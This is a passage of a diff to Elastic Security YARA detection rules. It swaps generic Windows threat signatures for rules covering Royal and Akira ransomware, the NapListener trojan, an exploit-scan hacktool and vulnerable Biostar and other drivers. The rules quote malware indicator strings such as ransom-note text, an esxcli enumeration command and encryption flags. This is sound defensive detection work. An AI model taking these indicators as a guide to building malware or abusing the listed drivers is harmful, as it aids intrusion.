-		logic_hash = "aad1c350f43cf2e0512e085e1a04db6099c568e375423afb9518b1fb89801c21"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_ProcId.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b03f26009de2e8eabfcf6152f49b02a55c5e5d0f73e01d48f5a745f93ce93a29"
+		logic_hash = "882cdbd267d812e77e68e7080f1fca0ca3d7e75ab84c583c3ec148894b1cf644"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "b10f3a3ceab827482139a9cadbd4507767e4d941191a7f19af517575435a5f70"
+		quality = 75
+		tags = "FILE"
+		fingerprint = "6d8d926efd98d6eaa1d06d39fb5babf70abf6f0e639fb74f29f65836a79e4743"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 40 6A 67 72 72 6C 6E 68 6D 67 65 77 77 68 74 69 63 6F 74 6D 6C 77 6E 74 6A 6A 71 68 72 68 62 74 75 64 72 78 7A 63 72 67 65 78 65 70 71 73 7A 73 75 78 6B 68 6E 79 63 74 72 63 63 7A 6D 63 63 69 63 61 61 68 70 66 }
+		$str1 = "\\piddrv64.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Generic_Threat_5C18A7F9 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Royalpest_502A3Db6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Ransomware Royalpest (Linux.Ransomware.RoyalPest)"
 		author = "Elastic Security"
-		id = "5c18a7f9-01af-468b-9a63-cfecbeb739d7"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "502a3db6-4711-42c7-8178-c3150f184fc6"
+		date = "2023-07-27"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1789-L1807"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fd272678098eae8f5ec8428cf25d2f1d8b65566c59e363d42c7ce9ffab90faaa"
-		logic_hash = "05cea396567ed3e23907dec4e6e3a6629cd1044d9123cde0575a04b73bae6c20"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_RoyalPest.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "09a79e5e20fa4f5aae610c8ce3fe954029a91972b56c6576035ff7e0ec4c1d14"
+		logic_hash = "aefb5a286636b827b50e4bc0ea978a75ba6a9e572504bfbc0a7700372c54a077"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "68c9114ac342d527cf6f0cea96b63dfeb8e5d80060572fad2bbc7d287c752d4a"
-		severity = 50
+		fingerprint = "4bde7998f41ef3d0f2769078cf56e03d36eacf503f859a23fc442ced95d839cb"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 5D E9 CD 1A 00 00 8B FF 55 8B EC 51 FF 75 08 C7 45 FC 00 00 00 00 8B 45 FC E8 03 1B 00 00 59 C9 C3 8B FF 55 8B EC 51 56 57 E8 6B 18 00 00 8B F0 85 F6 74 1C 8B 16 8B CA 8D 82 90 00 00 }
+		$a1 = "hit by Royal ransomware."
+		$a2 = "Please contact us via :"
+		$a3 = ".onion/%s"
+		$a4 = "esxcli vm process list > list"
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Windows_Generic_Threat_Ab01Ba9E : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Amifldrv_E387D5Ad : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Vulndriver Amifldrv (Windows.VulnDriver.Amifldrv)"
 		author = "Elastic Security"
-		id = "ab01ba9e-01e6-405b-8aaf-ae06a8fe2454"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "e387d5ad-fde8-401b-bdcf-044c4f7f5fbd"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1809-L1829"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2b237716d0c0c9877f54b3fa03823068728dfe0710c5b05e9808eab365a1408e"
-		logic_hash = "cc8d79950e21270938d2ea7e501c7c8fdbebe92767b48b46bb03c08c377e095b"
-		score = 75
-		quality = 69
-		tags = "FILE, MEMORY"
-		fingerprint = "dd9feb5d5756b3d3551ae21982b5e6eb189576298697b7d7d4bd042e4fc4c74f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Amifldrv.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fda506e2aa85dc41a4cbc23d3ecc71ab34e06f1def736e58862dc449acbc2330"
+		logic_hash = "14d75b5aff2c82d69b041c654cdc0840f6b6e37a197f5c0c1c2698c9e8eba3e2"
+		score = 60
+		quality = 55
+		tags = "FILE"
+		fingerprint = "03f898088f37f3c9991fb70d7fb8548908cfac4e03bb2bfe88b11a65157909a8"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 53 3C 3B 54 24 38 74 23 45 3B 6C 24 2C }
-		$a2 = { 3A 3D 3B 47 3B 55 3B 63 3B 6A 3B 7A 3B }
-		$a3 = { 56 30 61 30 6B 30 77 30 7C 30 24 39 32 39 37 39 41 39 4F 39 5D 39 64 39 75 39 }
+		$str1 = "\\amifldrv64.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Generic_Threat_917D7645 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Naplistener_E8F16920 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Naplistener (Windows.Trojan.NapListener)"
 		author = "Elastic Security"
-		id = "917d7645-f13e-4d66-ab9e-447a19923ab7"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "e8f16920-52ca-46b6-a945-1b919f975aae"
+		date = "2023-02-28"
+		modified = "2023-03-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1831-L1849"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "19b54a20cfa74cbb0f4724155244b52ca854054a205be6d148f826fa008d6c55"
-		logic_hash = "65748ff2e4448f305b9541ea9864cc6bda054d37be5ed34110a2f64c8fef30c7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_NapListener.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6e8c5bb2dfc90bca380c6f42af7458c8b8af40b7be95fab91e7c67b0dee664c4"
+		logic_hash = "6cb7b5051fab2b56f39b2805788b5b0838a095b41fcc623fe412b215736be5d4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "557b459c07dc7d7e32cac389673d5ab487d1730de20a9ec74ae9432325d40cd2"
-		severity = 50
+		fingerprint = "36689095792e7eb7fce23e7d390675a3554c8a5ba4356aaf9c2fa8986d3a0439"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 E4 E0 56 57 53 81 EC D4 0A 00 00 8B D9 8B F2 BA 1D 00 00 00 FF 73 1C 8D 8C 24 BC 0A 00 00 E8 19 A1 02 00 6A 00 FF B4 24 BC 0A 00 00 8D 8C 24 A8 0A 00 00 E8 D4 06 03 00 8D 8C 24 B8 }
+		$start_routine = { 02 28 08 00 00 0A 00 00 28 03 00 00 0A 0A 14 FE 06 04 00 00 06 73 04 00 00 0A 73 05 00 00 0A 0B 16 28 06 00 00 0A 00 07 06 6F 07 00 00 0A 00 00 2A }
+		$main_routine = { 6F 22 00 00 0A 13 0E 11 0D 1F 24 14 16 8D 16 00 00 01 14 6F 23 00 00 0A 13 0F 11 0F 14 6F 24 00 00 0A 13 10 11 0E 11 10 18 8D 01 00 00 01 }
+		$start_thread = { 00 28 03 00 00 0A 0A 14 FE 06 04 00 00 06 73 04 00 00 0A 73 05 00 00 0A 0B 16 28 06 00 00 0A 00 07 06 6F 07 00 00 0A 00 2A }
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Windows_Generic_Threat_7A09E97D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Naplistener_414180A7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Naplistener (Windows.Trojan.NapListener)"
 		author = "Elastic Security"
-		id = "7a09e97d-ccab-48d7-80d3-d76253a4d7e2"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "414180a7-ca8d-4cf8-a346-08c3e0e1ed8a"
+		date = "2023-02-28"
+		modified = "2023-03-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1851-L1869"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0c1e333e60547a90ec9d9dac3fc6698b088769bc0f5ec25883b2c4d1fd680a9"
-		logic_hash = "b65b2d12901953c137687a7b466c78e0537a2830c37a4cb13dd0eda457bba937"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_NapListener.yar#L23-L46"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6e8c5bb2dfc90bca380c6f42af7458c8b8af40b7be95fab91e7c67b0dee664c4"
+		logic_hash = "52d3ddebdc1a8aa4bcb902273bd2d3b4f9b51f248d25e7ae1cc260a9550111f5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3302bbee32c9968d3131277f4256c5673bec6cc64c1d820a32e66a7313387415"
-		severity = 50
+		fingerprint = "460b21638f200bf909e9e47bc716acfcb323540fbaa9ea9d0196361696ffa294"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 06 2A 3A FE 09 00 00 FE 09 01 00 6F 8D 00 00 0A 2A 00 4A FE 09 00 00 FE 09 01 00 FE 09 02 00 6F 8E 00 00 0A 2A 00 1E 00 28 43 00 00 06 2A 5A FE 09 00 00 FE 09 01 00 FE 09 02 00 FE 09 }
+		$a1 = "https://*:443/ews/MsExgHealthCheckd/" ascii wide
+		$a2 = "FillFromEncodedBytes" ascii wide
+		$a3 = "Exception caught" ascii wide
+		$a4 = "text/html; charset=utf-8" ascii wide
+		$a5 = ".Run" ascii wide
+		$a6 = "sdafwe3rwe23" ascii wide
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Windows_Generic_Threat_Dc4Ede3B : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Exploitscan_4327F817 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Hacktool Exploitscan (Linux.Hacktool.Exploitscan)"
 		author = "Elastic Security"
-		id = "dc4ede3b-d0c7-4993-8629-88753d65a7ad"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "4327f817-cb11-480f-aba7-4d5170c77758"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1871-L1889"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c49f20c5b42c6d813e6364b1fcb68c1b63a2f7def85a3ddfc4e664c4e90f8798"
-		logic_hash = "c402d5f16f2be32912d7a054b51ab6dafc6173bb5a267a7846b3ac9df1c4c19f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Exploitscan.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "66c6d0e58916d863a1a973b4f5cb7d691fbd01d26b408dbc8c74f0f1e4088dfb"
+		logic_hash = "7797d9bd75dff355e1ee84b856e77cf9e886dfe727fb8ce7a6fdbe5ed1eb0985"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8be5afdf2a5fe5cb1d4b50d10e8e2e8e588a72d6c644aa1013dd293c484da33b"
-		severity = 50
+		fingerprint = "3f70c8ef8f20f763dcada4353c254fe1df238829ce590fb87c279d8a892cf9c4"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 89 E5 83 EC 28 C7 45 FC 00 00 00 00 C7 44 24 18 00 00 00 00 C7 44 24 14 00 00 00 00 C7 44 24 10 03 00 00 00 C7 44 24 0C 00 00 00 00 C7 44 24 08 00 00 00 00 C7 44 24 04 00 00 00 80 8B 45 08 }
+		$a = { 24 08 8B 4C 24 0C 85 C0 74 20 8B 58 20 84 03 83 C3 10 8B 68 24 89 9C 24 DC 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Bb480769 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Akira_C8C298Ba : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Ransomware Akira (Windows.Ransomware.Akira)"
 		author = "Elastic Security"
-		id = "bb480769-57fb-4c93-8330-450f563fd4c6"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "c8c298ba-2760-4880-a54a-3d916049d0ab"
+		date = "2024-05-02"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1891-L1909"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "010e3aeb26533d418bb7d2fdcfb5ec21b36603b6abb63511be25a37f99635bce"
-		logic_hash = "1087e0befceac2606ce5dc5f2b42b45ebad888e7d3e451c3fb89de7e932a31f5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Akira.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a2df5477cf924bd41241a3326060cc2f913aff2379858b148ddec455e4da67bc"
+		logic_hash = "9058c83693e93f6daee8894453e56e0d9a4867d551ec3a6b66d7a517f65d8b07"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9c58c2e028f99737574d49e47feb829058f6082414b58d6c9e569a50904591e7"
-		severity = 50
+		fingerprint = "81c6dfa172ce7f4254e3cc74fcb71786336d39438d6e9379f7611495f54227c9"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 89 E5 C6 45 03 B8 C7 45 08 BA EF BE AD C7 45 0C DE 89 10 BA C7 45 10 EF BE AD DE C7 45 14 89 50 04 B8 C7 45 18 EF BE AD DE C7 45 1C 6A 00 6A 01 C7 45 20 6A 00 FF D0 C7 45 24 B8 EF BE AD C7 }
+		$a1 = "akira_readme.txt" ascii fullword
+		$a2 = "Number of threads to encrypt = " ascii fullword
+		$a3 = "write_encrypt_info error:" ascii fullword
+		$a4 = "Log-%d-%m-%Y-%H-%M-%S" ascii fullword
+		$a5 = "--encryption_path" wide fullword
+		$a6 = "--encryption_percent" wide fullword
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Windows_Generic_Threat_5Fbf5680 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Biostar_D6Cc23Af : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Name: BS_HWMIO64_W10.sys, Version: 10.0.1806.2200"
 		author = "Elastic Security"
-		id = "5fbf5680-05c3-4a77-95d7-fa3cae7b4dbe"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "d6cc23af-4502-4b18-bd10-17495e6e1443"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1911-L1929"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1b0553a9873d4cda213f5464b5e98904163e347a49282db679394f70d4571e77"
-		logic_hash = "ec5399f6fb29125cb4c096851b9194fa35fb1e5ddd1f4d4f07b155471ae5c619"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Biostar.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1d0397c263d51e9fc95bcc8baf98d1a853e1c0401cd0e27c7bf5da3fba1c93a8"
+		logic_hash = "6a1f5de3a0daf446ceb812a9f5749410a3a7752dce44e935adc288c95816f59d"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "7cbd8d973f31505e078781bed8067ae8dce72db076c670817e1a77e48dc790fe"
+		tags = "FILE"
+		fingerprint = "65a66dc00e62f32fd088809f3c88ceb9d59d264ecff0d9f830c35dfa464baf43"
+		threat_name = "Windows.VulnDriver.Biostar"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 3C 56 57 8B 45 08 50 E8 51 AF 00 00 83 C4 04 89 45 FC 8B 45 FC 83 C0 58 99 8B C8 8B F2 8B 45 08 99 2B C8 1B F2 89 4D F8 66 0F 57 C0 66 0F 13 45 EC C7 45 DC FF FF FF FF C7 45 E0 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 53 00 5F 00 48 00 57 00 4D 00 49 00 4F 00 36 00 34 00 5F 00 57 00 31 00 30 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\x98][\x00-\x08]|[\x00-\xff][\x00-\x07])([\x00-\x0e][\x00-\x07]|[\x00-\xff][\x00-\x06])|([\x00-\xff][\x00-\xff])([\x00-\x09][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x0d][\x00-\x07]|[\x00-\xff][\x00-\x06]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Generic_Threat_Aa30A738 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Biostar_68682378 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Name: BS_I2cIo.sys, Version: 1.1.0.0"
 		author = "Elastic Security"
-		id = "aa30a738-616b-408c-960f-c0ea897145d0"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "68682378-9b49-4bec-b24c-aba8221a62fe"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1931-L1949"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7726a691bd6c1ee51a9682e0087403a2c5a798ad172c1402acf2209c34092d18"
-		logic_hash = "64967fbc0e74435452752731a8b9385345cc771d27ee33cd018cccdeb26bb75e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Biostar.yar#L23-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "55fee54c0d0d873724864dc0b2a10b38b7f40300ee9cae4d9baaf8a202c4049a"
+		logic_hash = "8510de6fc33bde153f3bd4d1bb8b0d98ce69aae479d242c6043ac8c712dbb888"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "d2a4e1d4451d28afcef981f689de3212ff5d9c4ee8840864656082ef272f7501"
+		tags = "FILE"
+		fingerprint = "df974c8b5bb60b1b6e95d1c70c968dfca1f1e351f50eed29d215da673d45af19"
+		threat_name = "Windows.VulnDriver.Biostar"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 8B 55 0C 85 D2 75 04 33 C0 5D C3 8B 45 08 53 56 8B 75 10 83 FE 08 57 F7 D0 B9 FF 00 00 00 0F 8C D1 00 00 00 8B FE C1 EF 03 8B DF F7 DB 8D 34 DE 89 75 10 0F B6 1A 8B F0 23 F1 33 F3 8B }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 53 00 5F 00 49 00 32 00 63 00 49 00 6F 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Generic_Threat_9A8Dc290 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Biostar_684A5123 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Name: BS_RCIO64.sys, Version: 10.0.0.1"
 		author = "Elastic Security"
-		id = "9a8dc290-d9ec-4d52-a4e8-db4ac6ceb164"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "684a5123-cd84-4133-9530-30bfefd5ad1b"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1951-L1969"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d951562a841f3706005d7696052d45397e3b4296d4cd96bf187920175fbb1676"
-		logic_hash = "0097a13187b953ebe97809dda2be818cfcd94991c03e75f344e34a3d2c4fe902"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Biostar.yar#L45-L65"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d205286bffdf09bc033c09e95c519c1c267b40c2ee8bab703c6a2d86741ccd3e"
+		logic_hash = "7c0c7e14f9b5085a87e5dbe27feb8e49bdb4d2fdcfbcbc643999d7969d118240"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e9f42a0fdd778b8619633cce87c9d6a3d26243702cdd8a56e524bf48cf759094"
+		tags = "FILE"
+		fingerprint = "c92b058bbc8a708431bdbe8fc2e793c0a424aa79b25892c83153ffd32e1a89d3"
+		threat_name = "Windows.VulnDriver.Biostar"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 6F 01 00 06 FE 0E 0B 00 FE 0C 0B 00 FE 0C 09 00 6F 78 01 00 06 FE 0C 0B 00 FE 0C 08 00 28 F2 00 00 06 6F 74 01 00 06 FE 0C 0B 00 FE 0C 07 00 28 F2 00 00 06 6F 76 01 00 06 FE 0C 0B 00 FE 09 00 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 53 00 5F 00 52 00 43 00 49 00 4F 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x09][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Generic_Threat_Bbf2A354 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Biostar_E0B6Cf55 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Vulndriver Biostar (Windows.VulnDriver.Biostar)"
 		author = "Elastic Security"
-		id = "bbf2a354-64e5-4115-aaf7-2705194445da"
-		date = "2024-01-22"
-		modified = "2024-02-08"
+		id = "e0b6cf55-c97d-4799-88a6-30ab0e880b0b"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1971-L1989"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b4e6c748ad88070e39b53a9373946e9e404623326f710814bed439e5ea61fc3e"
-		logic_hash = "6be2fae41199daea6b9d0394c9af7713543333a50620ef417bb8439d5a07f336"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Biostar.yar#L67-L85"
